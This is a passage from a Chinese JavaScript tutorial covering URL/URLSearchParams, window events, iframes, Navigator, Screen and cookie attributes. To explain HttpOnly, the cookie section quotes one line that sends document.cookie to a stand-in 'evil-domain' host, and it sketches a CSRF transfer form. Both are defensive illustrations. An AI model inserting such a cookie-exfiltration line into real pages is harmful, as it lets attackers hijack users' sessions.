字符串是一个相对路径,那么需要表示绝对路径的第二个参数,作为计算基准。var url1 = new URL('index.html', 'http://example.com'); url1.href // "http://example.com/index.html" var url2 = new URL('page2.html', 'http://example.com/page1.html'); url2.href // "http://example.com/page2.html" var url3 = new URL('..', 'http://example.com/a/b.html') url3.href // "http://example.com/"上面代码中,返回的 URL 实例的路径都是在第二个参数的基础上,切换到第一个参数得到的。最后一个例子里面,第一个参数是..,表示上层路径。3.2 实例属性URL 实例的属性与Location对象的属性基本一致,返回当前 URL 的信息。URL.href:返回整个 URLURL.protocol:返回协议,以冒号:结尾URL.hostname:返回域名URL.host:返回域名与端口,包含:号,默认的80和443端口会省略URL.port:返回端口URL.origin:返回协议、域名和端口URL.pathname:返回路径,以斜杠/开头URL.search:返回查询字符串,以问号?开头URL.searchParams:返回一个URLSearchParams实例,该属性是Location对象没有的URL.hash:返回片段识别符,以井号#开头URL.password:返回域名前面的密码URL.username:返回域名前面的用户名var url = new URL('http://user:passwd@www.example.com:4097/path/a.html?x=111#part1'); url.href // "http://user:passwd@www.example.com:4097/path/a.html?x=111#part1" url.protocol // "http:" url.hostname // "www.example.com" url.host // "www.example.com:4097" url.port // "4097" url.origin // "http://www.example.com:4097" url.pathname // "/path/a.html" url.search // "?x=111" url.searchParams // URLSearchParams {} url.hash // "#part1" url.password // "passwd" url.username // "user"这些属性里面,只有origin属性是只读的,其他属性都可写。var url = new URL('http://example.com/index.html#part1'); url.pathname = 'index2.html'; url.href // "http://example.com/index2.html#part1" url.hash = '#part2'; url.href // "http://example.com/index2.html#part2"上面代码中,改变 URL 实例的pathname属性和hash属性,都会实时反映在 URL 实例当中。3.3 静态方法(1)URL.createObjectURL()URL.createObjectURL()方法用来为上传/下载的文件、流媒体文件生成一个 URL 字符串。这个字符串代表了File对象或Blob对象的 URL。// HTML 代码如下 // <div id="display"/> // <input // type="file" // id="fileElem" // multiple // accept="image/*" // onchange="handleFiles(this.files)" // > var div = document.getElementById('display'); function handleFiles(files) { for (var i = 0; i < files.length; i++) { var img = document.createElement('img'); img.src = window.URL.createObjectURL(files[i]); div.appendChild(img); }上面代码中,URL.createObjectURL()方法用来为上传的文件生成一个 URL 字符串,作为``元素的图片来源。该方法生成的 URL 就像下面的样子。blob:http://localhost/c745ef73-ece9-46da-8f66-ebes574789b1注意,每次使用URL.createObjectURL()方法,都会在内存里面生成一个 URL 实例。如果不再需要该方法生成的 URL 字符串,为了节省内存,可以使用URL.revokeObjectURL()方法释放这个实例。(2)URL.revokeObjectURL()URL.revokeObjectURL()方法用来释放URL.createObjectURL()方法生成的 URL 实例。它的参数就是URL.createObjectURL()方法返回的 URL 字符串。下面为上一段的示例加上URL.revokeObjectURL()。var div = document.getElementById('display'); function handleFiles(files) { for (var i = 0; i < files.length; i++) { var img = document.createElement('img'); img.src = window.URL.createObjectURL(files[i]); div.appendChild(img); img.onload = function() { window.URL.revokeObjectURL(this.src); }上面代码中,一旦图片加载成功以后,为本地文件生成的 URL 字符串就没用了,于是可以在img.onload回调函数里面,通过URL.revokeObjectURL()方法卸载这个 URL 实例。4、URLSearchParams 对象4.1 概述URLSearchParams对象是浏览器的原生对象,用来构造、解析和处理 URL 的查询字符串(即 URL 问号后面的部分)。它本身也是一个构造函数,可以生成实例。参数可以为查询字符串,起首的问号?有没有都行,也可以是对应查询字符串的数组或对象。// 方法一:传入字符串 var params = new URLSearchParams('?foo=1&bar=2'); // 等同于 var params = new URLSearchParams(document.location.search); // 方法二:传入数组 var params = new URLSearchParams([['foo', 1], ['bar', 2]]); // 方法三:传入对象 var params = new URLSearchParams({'foo' : 1 , 'bar' : 2});URLSearchParams会对查询字符串自动编码。var params = new URLSearchParams({'foo': '你好'}); params.toString() // "foo=%E4%BD%A0%E5%A5%BD"上面代码中,foo的值是汉字,URLSearchParams对其自动进行 URL 编码。浏览器向服务器发送表单数据时,可以直接使用URLSearchParams实例作为表单数据。const params = new URLSearchParams({foo: 1, bar: 2}); fetch('https://example.com/api', { method: 'POST', body: params }).then(...)上面代码中,fetch命令向服务器发送命令时,可以直接使用URLSearchParams实例。URLSearchParams可以与URL接口结合使用。var url = new URL(window.location); var foo = url.searchParams.get('foo') || 'somedefault';上面代码中,URL 实例的searchParams属性就是一个URLSearchParams实例,所以可以使用URLSearchParams接口的get方法。URLSearchParams实例有遍历器接口,可以用for...of循环遍历(详见《ES6 标准入门》的《Iterator》一章)。var params = new URLSearchParams({'foo': 1 , 'bar': 2}); for (var p of params) { console.log(p[0] + ': ' + p[1]); // foo: 1 // bar: 2URLSearchParams没有实例属性,只有实例方法。4.2 URLSearchParams.toString()toString方法返回实例的字符串形式。var url = new URL('https://example.com?foo=1&bar=2'); var params = new URLSearchParams(url.search); params.toString() // "foo=1&bar=2'那么需要字符串的场合,会自动调用toString方法。var params = new URLSearchParams({version: 2.0}); window.location.href = location.pathname + '?' + params;上面代码中,location.href赋值时,可以直接使用params对象。这时就会自动调用toString方法。4.3 URLSearchParams.append()append()方法用来追加一个查询参数。它接受两个参数,第一个为键名,第二个为键值,没有返回值。var params = new URLSearchParams({'foo': 1 , 'bar': 2}); params.append('baz', 3); params.toString() // "foo=1&bar=2&baz=3"append()方法不会识别是否键名已经存在。var params = new URLSearchParams({'foo': 1 , 'bar': 2}); params.append('foo', 3); params.toString() // "foo=1&bar=2&foo=3"上面代码中,查询字符串里面foo已经存在了,但是append依然会追加一个同名键。4.4 URLSearchParams.delete()delete()方法用来删除指定的查询参数。它接受键名作为参数。var params = new URLSearchParams({'foo': 1 , 'bar': 2}); params.delete('bar'); params.toString() // "foo=1"4.5 URLSearchParams.has()has()方法返回一个布尔值,表示查询字符串是否包含指定的键名。var params = new URLSearchParams({'foo': 1 , 'bar': 2}); params.has('bar') // true params.has('baz') // false4.6 URLSearchParams.set()set()方法用来设置查询字符串的键值。它接受两个参数,第一个是键名,第二个是键值。如果是已经存在的键,键值会被改写,否则会被追加。var params = new URLSearchParams('?foo=1'); params.set('foo', 2); params.toString() // "foo=2" params.set('bar', 3); params.toString() // "foo=2&bar=3"上面代码中,foo是已经存在的键,bar是还不存在的键。如果有多个的同名键,set会移除现存所有的键。var params = new URLSearchParams('?foo=1&foo=2'); params.set('foo', 3); params.toString() // "foo=3"下面是一个替换当前 URL 的例子。// URL: https://example.com?version=1.0 var params = new URLSearchParams(location.search.slice(1)); params.set('version', 2.0); window.history.replaceState({}, '', location.pathname + `?` + params); // URL: https://example.com?version=2.04.7 URLSearchParams.get(),URLSearchParams.getAll()get()方法用来读取查询字符串里面的指定键。它接受键名作为参数。var params = new URLSearchParams('?foo=1'); params.get('foo') // "1" params.get('bar') // null两个地方需要注意。第一,它返回的是字符串,如果原始值是数值,需要转一下类型;第二,如果指定的键名不存在,返回值是null。如果有多个的同名键,get返回位置最前面的那个键值。var params = new URLSearchParams('?foo=3&foo=2&foo=1'); params.get('foo') // "3"上面代码中,查询字符串有三个foo键,get方法返回最前面的键值3。getAll()方法返回一个数组,成员是指定键的所有键值。它接受键名作为参数。var params = new URLSearchParams('?foo=1&foo=2'); params.getAll('foo') // ["1", "2"]上面代码中,查询字符串有两个foo键,getAll返回的数组就有两个成员。4.8 URLSearchParams.sort()sort()方法对查询字符串里面的键进行排序,规则是按照 Unicode 码点从小到大排列。该方法没有返回值,或者说返回值是undefined。var params = new URLSearchParams('c=4&a=2&b=3&a=1'); params.sort(); params.toString() // "a=2&a=1&b=3&c=4"上面代码中,如果有两个同名的键a,它们之间不会排序,而是保留原始的顺序。4.9 URLSearchParams.keys(),URLSearchParams.values(),URLSearchParams.entries()这三个方法都返回一个遍历器对象,供for...of循环遍历。它们的区别在于,keys方法返回的是键名的遍历器,values方法返回的是键值的遍历器,entries返回的是键值对的遍历器。var params = new URLSearchParams('a=1&b=2'); for(var p of params.keys()) { console.log(p); for(var p of params.values()) { console.log(p); for(var p of params.entries()) { console.log(p); // ["a", "1"] // ["b", "2"]如果直接对URLSearchParams进行遍历,其实内部调用的就是entries接口。for (var p of params) {} // 等同于 for (var p of params.entries()) {}
4、事件window对象可以接收以下事件。4.1 load 事件和 onload 属性load事件发生在文档在浏览器窗口加载完毕时。window.onload属性可以指定这个事件的回调函数。window.onload = function() { var elements = document.getElementsByClassName('example'); for (var i = 0; i < elements.length; i++) { var elt = elements[i]; // ... };上面代码在网页加载完毕后,获取指定元素并进行处理。4.2 error 事件和 onerror 属性浏览器脚本发生错误时,会触发window对象的error事件。我们可以通过window.onerror属性对该事件指定回调函数。window.onerror = function (message, filename, lineno, colno, error) { console.log("出错了!--> %s", error.stack); };由于历史原因,window的error事件的回调函数不接受错误对象作为参数,而是一共可以接受五个参数,它们的含义依次如下。出错信息出错脚本的网址行号列号错误对象老式浏览器只支持前三个参数。并不是所有的错误,都会触发 JavaScript 的error事件(即让 JavaScript 报错)。一般来说,只有 JavaScript 脚本的错误,才会触发这个事件,而像资源文件不存在之类的错误,都不会触发。下面是一个例子,如果整个页面未捕获错误超过3个,就显示警告。window.onerror = function(msg, url, line) { if (onerror.num++ > onerror.max) { alert('ERROR: ' + msg + '\n' + url + ':' + line); return true; onerror.max = 3; onerror.num = 0;需要注意的是,如果脚本网址与网页网址不在同一个域(比如使用了 CDN),浏览器根本不会提供详细的出错信息,只会提示出错,错误类型是“Script error.”,行号为0,其他信息都没有。这是浏览器防止向外部脚本泄漏信息。一个解决方法是在脚本所在的服务器,设置Access-Control-Allow-Origin的 HTTP 头信息。Access-Control-Allow-Origin: *然后,在网页的``标签中设置crossorigin属性。<script crossorigin="anonymous" src="//example.com/file.js"></script>上面代码的crossorigin="anonymous"表示,读取文件不需要身份信息,即不需要 cookie 和 HTTP 认证信息。如果设为crossorigin="use-credentials",就表示浏览器会上传 cookie 和 HTTP 认证信息,同时还需要服务器端打开 HTTP 头信息Access-Control-Allow-Credentials。4.3 window 对象的事件监听属性除了具备元素节点都有的 GlobalEventHandlers 接口,window对象还具有以下的事件监听函数属性。window.onafterprint:afterprint事件的监听函数。window.onbeforeprint:beforeprint事件的监听函数。window.onbeforeunload:beforeunload事件的监听函数。window.onhashchange:hashchange事件的监听函数。window.onlanguagechange: languagechange的监听函数。window.onmessage:message事件的监听函数。window.onmessageerror:MessageError事件的监听函数。window.onoffline:offline事件的监听函数。window.ononline:online事件的监听函数。window.onpagehide:pagehide事件的监听函数。window.onpageshow:pageshow事件的监听函数。window.onpopstate:popstate事件的监听函数。window.onstorage:storage事件的监听函数。window.onunhandledrejection:未处理的 Promise 对象的reject事件的监听函数。window.onunload:unload事件的监听函数。5、多窗口操作由于网页可以使用iframe元素,嵌入其他网页,因此一个网页之中会形成多个窗口。如果子窗口之中又嵌入别的网页,就会形成多级窗口。5.1 窗口的引用各个窗口之中的脚本,可以引用其他窗口。浏览器提供了一些特殊变量,用来返回其他窗口。top:顶层窗口,即最上层的那个窗口parent:父窗口self:当前窗口,即自身下面代码可以判断,当前窗口是否为顶层窗口。if (window.top === window.self) { // 当前窗口是顶层窗口 } else { // 当前窗口是子窗口 }下面的代码让父窗口的访问历史后退一次。window.parent.history.back();与这些变量对应,浏览器还提供一些特殊的窗口名,供window.open()方法、<a>标签、<form>标签等引用。_top:顶层窗口_parent:父窗口_blank:新窗口下面代码就表示在顶层窗口打开链接。<a href="somepage.html" target="_top">Link</a>5.2 iframe 元素对于iframe嵌入的窗口,document.getElementById方法可以拿到该窗口的 DOM 节点,然后使用contentWindow属性获得iframe节点包含的window对象。var frame = document.getElementById('theFrame'); var frameWindow = frame.contentWindow;上面代码中,frame.contentWindow可以拿到子窗口的window对象。然后,在满足同源限制的情况下,可以读取子窗口内部的属性。// 获取子窗口的标题 frameWindow.title<iframe>元素的contentDocument属性,可以拿到子窗口的document对象。var frame = document.getElementById('theFrame'); var frameDoc = frame.contentDocument; // 等同于 var frameDoc = frame.contentWindow.document;<iframe>元素遵守同源政策,只有当父窗口与子窗口在同一个域时,两者之间才可以用脚本通信,否则只有使用window.postMessage方法。<iframe>窗口内部,使用window.parent引用父窗口。如果当前页面没有父窗口,则window.parent属性返回自身。因此,可以通过window.parent是否等于window.self,判断当前窗口是否为iframe窗口。if (window.parent !== window.self) { // 当前窗口是子窗口 }<iframe>窗口的window对象,有一个frameElement属性,返回<iframe>在父窗口中的 DOM 节点。对于非嵌入的窗口,该属性等于null。var f1Element = document.getElementById('f1'); var f1Window = f1Element.contentWindow; f1Window.frameElement === f1Element // true window.frameElement === null // true5.3 window.frames 属性window.frames属性返回一个类似数组的对象,成员是所有子窗口的window对象。可以使用这个属性,实现窗口之间的互相引用。比如,frames[0]返回第一个子窗口,frames[1].frames[2]返回第二个子窗口内部的第三个子窗口,parent.frames[1]返回父窗口的第二个子窗口。注意,window.frames每个成员的值,是框架内的窗口(即框架的window对象),而不是iframe标签在父窗口的 DOM 节点。如果要获取每个框架内部的 DOM 树,需要使用window.frames[0].document的写法。另外,如果<iframe>元素设置了name或id属性,那么属性值会自动成为全局变量,并且可以通过window.frames属性引用,返回子窗口的window对象。// HTML 代码为 <iframe id="myFrame"> window.myFrame // [HTMLIFrameElement] frames.myframe === myFrame // true另外,name属性的值会自动成为子窗口的名称,可以用在window.open方法的第二个参数,或者<a>和<frame>标签的target属性。三、Navigator 对象,Screen 对象window.navigator属性指向一个包含浏览器和系统信息的 Navigator 对象。脚本通过这个属性了解用户的环境信息。1、Navigator 对象的属性1.1 Navigator.userAgent 浏览器厂商和版本navigator.userAgent属性返回浏览器的 User Agent 字符串,表示浏览器的厂商和版本信息。下面是 Chrome 浏览器的userAgent。navigator.userAgent // "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36"通过userAgent属性识别浏览器,不是一个好办法。因为必须考虑所有的情况(不同的浏览器,不同的版本),非常麻烦,而且用户可以改变这个字符串。这个字符串的格式并无统一规定,也无法保证未来的适用性,各种上网设备层出不穷,难以穷尽。所以,现在一般不再通过它识别浏览器了,而是使用“功能识别”方法,即逐一测试当前浏览器是否支持要用到的 JavaScript 功能。不过,通过userAgent可以大致准确地识别手机浏览器,方法就是测试是否包含mobi字符串。var ua = navigator.userAgent.toLowerCase(); if (/mobi/i.test(ua)) { // 手机浏览器 } else { // 非手机浏览器 }如果想要识别所有移动设备的浏览器,可以测试更多的特征字符串。/mobi|android|touch|mini/i.test(ua)1.2 Navigator.plugins 浏览器插件Navigator.plugins属性返回一个类似数组的对象,成员是 Plugin 实例对象,表示浏览器安装的插件,比如 Flash、ActiveX 等。var pluginsLength = navigator.plugins.length; for (var i = 0; i < pluginsLength; i++) { console.log(navigator.plugins[i].name); console.log(navigator.plugins[i].filename); console.log(navigator.plugins[i].description); console.log(navigator.plugins[i].version); }1.3 Navigator.platform 操作系统信息Navigator.platform属性返回用户的操作系统信息,比如MacIntel、Win32、Linux x86_64等 。navigator.platform // "Linux x86_64"1.4 Navigator.onLine 是否在线navigator.onLine属性返回一个布尔值,表示用户当前在线还是离线(浏览器断线)。navigator.onLine // true有时,浏览器可以连接局域网,但是局域网不能连通外网。这时,有的浏览器的onLine属性会返回true,所以不能假定只要是true,用户就一定能访问互联网。不过,如果是false,可以断定用户一定离线。用户变成在线会触发online事件,变成离线会触发offline事件,可以通过window.ononline和window.onoffline指定这两个事件的回调函数。window.addEventListener('offline', function(e) { console.log('offline'); }); window.addEventListener('online', function(e) { console.log('online'); });1.5 Navigator.language 首选语言,Navigator.languages 可以接受的语言,数组Navigator.language属性返回一个字符串,表示浏览器的首选语言。该属性只读。navigator.language // "en"Navigator.languages属性返回一个数组,表示用户可以接受的语言。Navigator.language总是这个数组的第一个成员。HTTP 请求头信息的Accept-Language字段,就来自这个数组。navigator.languages // ["en-US", "en", "zh-CN", "zh", "zh-TW"]如果这个属性发生变化,就会在window对象上触发languagechange事件。1.6 Navigator.geolocation 地理位置Navigator.geolocation属性返回一个 Geolocation 对象,包含用户地理位置的信息。注意,该 API 只有在 HTTPS 协议下可用,否则调用下面方法时会报错。Geolocation 对象提供下面三个方法。Geolocation.getCurrentPosition():得到用户的当前位置Geolocation.watchPosition():监听用户位置变化Geolocation.clearWatch():取消watchPosition()方法指定的监听函数注意,调用这三个方法时,浏览器会跳出一个对话框,要求用户给予授权。1.7 Navigator.cookieEnabled 浏览器Cookie是否打开Navigator.cookieEnabled属性返回一个布尔值,表示浏览器的 Cookie 功能是否打开。navigator.cookieEnabled // true注意,这个属性反映的是浏览器总的特性,与是否储存某个具体的网站的 Cookie 无关。用户可以设置某个网站不得储存 Cookie,这时cookieEnabled返回的还是true。2、Navigator 对象的方法2.1 Navigator.javaEnabled() 是否能运行 Java Applet 小程序Navigator.javaEnabled()方法返回一个布尔值,表示浏览器是否能运行 Java Applet 小程序。navigator.javaEnabled() // false2.1 Navigator.sendBeacon() 用于向服务器异步发送数据Navigator.sendBeacon()方法用于向服务器异步发送数据,详见《XMLHttpRequest 对象》一章。3、Screen 对象 (屏幕信息对象)Screen 对象表示当前窗口所在的屏幕,提供显示设备的信息。window.screen属性指向这个对象。该对象有下面的属性。Screen.height:浏览器窗口所在的屏幕的高度(单位像素)。除非调整显示器的分辨率,否则这个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。Screen.width:浏览器窗口所在的屏幕的宽度(单位像素)。Screen.availHeight:浏览器窗口可用的屏幕高度(单位像素)。因为部分空间可能不可用,比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区,这个属性等于height减去那些被系统组件的高度。Screen.availWidth:浏览器窗口可用的屏幕宽度(单位像素)。Screen.pixelDepth:整数,表示屏幕的色彩位数,比如24表示屏幕提供24位色彩。Screen.colorDepth:Screen.pixelDepth的别名。严格地说,colorDepth 表示应用程序的颜色深度,pixelDepth 表示屏幕的颜色深度,绝大多数情况下,它们都是同一件事。Screen.orientation:返回一个对象,表示屏幕的方向。该对象的type属性是一个字符串,表示屏幕的具体方向,landscape-primary表示横放,landscape-secondary表示颠倒的横放,portrait-primary表示竖放,portrait-secondary。下面是Screen.orientation的例子。window.screen.orientation // { angle: 0, type: "landscape-primary", onchange: null }下面的例子保证屏幕分辨率大于 1024 x 768。if (window.screen.width >= 1024 && window.screen.height >= 768) { // 分辨率不低于 1024x768 }下面是根据屏幕的宽度,将用户导向不同网页的代码。if ((screen.width <= 800) && (screen.height <= 600)) { window.location.replace('small.html'); } else { window.location.replace('wide.html'); }四、Cookie1、概述Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。Cookie 主要保存状态信息,以下是一些主要用途。对话(session)管理:保存登录、购物车等需要记录的信息。个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。追踪用户:记录和分析用户行为。Cookie 不是一种理想的客户端储存机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。每个 Cookie 都有以下几方面的元数据。Cookie 的名字Cookie 的值(真正的数据写在这里面)到期时间(超过这个时间会失效)所属域名(默认为当前域名)生效的路径(默认为当前网址)举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为www.example.com,生效路径为根路径/。如果 Cookie 的生效路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器。用户可以设置浏览器不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。window.navigator.cookieEnabled // truedocument.cookie属性返回当前网页的 Cookie。document.cookie // "id=foo;key=bar"不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,http://example.com设置的 Cookie,可以被https://example.com读取。2、Cookie 与 HTTP 协议Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。2.1 HTTP 回应:Cookie 的生成服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。Set-Cookie:foo=bar上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar。HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date> Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value> Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value> Set-Cookie: <cookie-name>=<cookie-value>; Secure Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly上面的几个属性的含义,将在后文解释。一个Set-Cookie字段里面,可以同时包括多个属性,没有次序的要求。Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly下面是一个例子。Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的key、domain、path和secure都匹配。举例来说,如果原始的 Cookie 是用如下的Set-Cookie设置的。Set-Cookie: key1=value1; domain=example.com; path=/blog改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie。Set-Cookie: key1=value2; domain=example.com; path=/blog只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。Set-Cookie: key1=value2; domain=example.com; path=/上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。Cookie: key1=value1; key1=value2上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。2.2 HTTP 请求:Cookie 的发送浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。Cookie: foo=bar上面代码会向服务器发送名为foo的 Cookie,值为bar。Cookie字段可以包含多个 Cookie,使用分号(;)分隔。Cookie: name=value; name2=value2; name3=value3下面是一个例子。GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。Cookie 的各种属性,比如何时过期。哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。3、Cookie 的属性3.1 Expires 有效期,Max-Age 最大寿命,秒数Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; // 设置cookie,键id等于值a3fWa, 并设置到期时间如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。如果同时指定了Expires和Max-Age,那么Max-Age的值将优先生效。如果Set-Cookie字段没有指定Expires或Max-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。3.2 Domain 域名,Path 路径Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如,example.com不设置 Cookie 的domain属性,那么sub.example.com将不会附带这个 Cookie。如果指定了domain属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。3.3 Secure 加密协议https下有效,HttpOnly 只有http请求能拿到Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。3.4 SameSite 防止 CSRF 攻击和用户追踪Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站your-bank.com,银行服务器发来了一个 Cookie。Set-Cookie:id=a3fWa;用户后来又访问了恶意网站malicious.com,上面有一个表单。<form action="your-bank.com/transfer" method="POST"> </form>用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,表单一般都带有一个随机 token,告诉服务器这是真实请求。<form action="your-bank.com/transfer" method="POST"> <input type="hidden" name="token" value="dad3weg34"> </form>这种第三方网站引导发出的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。<img src="facebook.com" style=";">浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。Cookie 的SameSite属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。StrictLaxNone(1)StrictStrict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。Set-Cookie: CookieName=CookieValue; SameSite=Strict;这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。(2)LaxLax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。Set-Cookie: CookieName=CookieValue; SameSite=Lax;导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。请求类型示例正常情况Lax链接``发送 Cookie发送 Cookie预加载``发送 Cookie发送 CookieGET 表单``发送 Cookie发送 CookiePOST 表单``发送 Cookie不发送iframe``发送 Cookie不发送AJAX$.get("...")发送 Cookie不发送Image``发送 Cookie不发送设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。(3)NoneChrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。下面的设置无效。Set-Cookie: widget_session=abc123; SameSite=None下面的设置有效。Set-Cookie: widget_session=abc123; SameSite=None; Secure4、document.cookie 用于读写当前网页的 Cookiedocument.cookie属性用于读写当前网页的 Cookie。读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。document.cookie // "foo=bar;baz=bar"上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { console.log(cookies[i]); // foo=bar // baz=bardocument.cookie属性是可写的,可以通过它为当前网站添加 Cookie。document.cookie = 'fontSize=14';写入的时候,Cookie 的值必须写成key=value的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。document.cookie = 'test1=hello'; document.cookie = 'test2=world'; document.cookie // test1=hello;test2=worlddocument.cookie读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie字段是一行设置一个 Cookie。写入 Cookie 的时候,可以一起写入 Cookie 的属性。document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";上面代码中,写入 Cookie 的时候,同时设置了expires属性。属性值的等号两边,也是不能有空格的。各个属性的写入注意点如下。path属性必须为绝对路径,默认为当前路径。domain属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是example.com,就不能将其设为foo.com。该属性默认为当前的一级域名(不含二级域名)。max-age属性的值为秒数。expires属性的值为 UTC 格式,可以使用Date.prototype.toUTCString()进行日期格式转换。document.cookie写入 Cookie 的例子如下。document.cookie = 'fontSize=14; ' + 'expires=' + someDate.toGMTString() + '; ' + 'path=/subdirectory; ' + 'domain=*.example.com';Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。删除一个现存 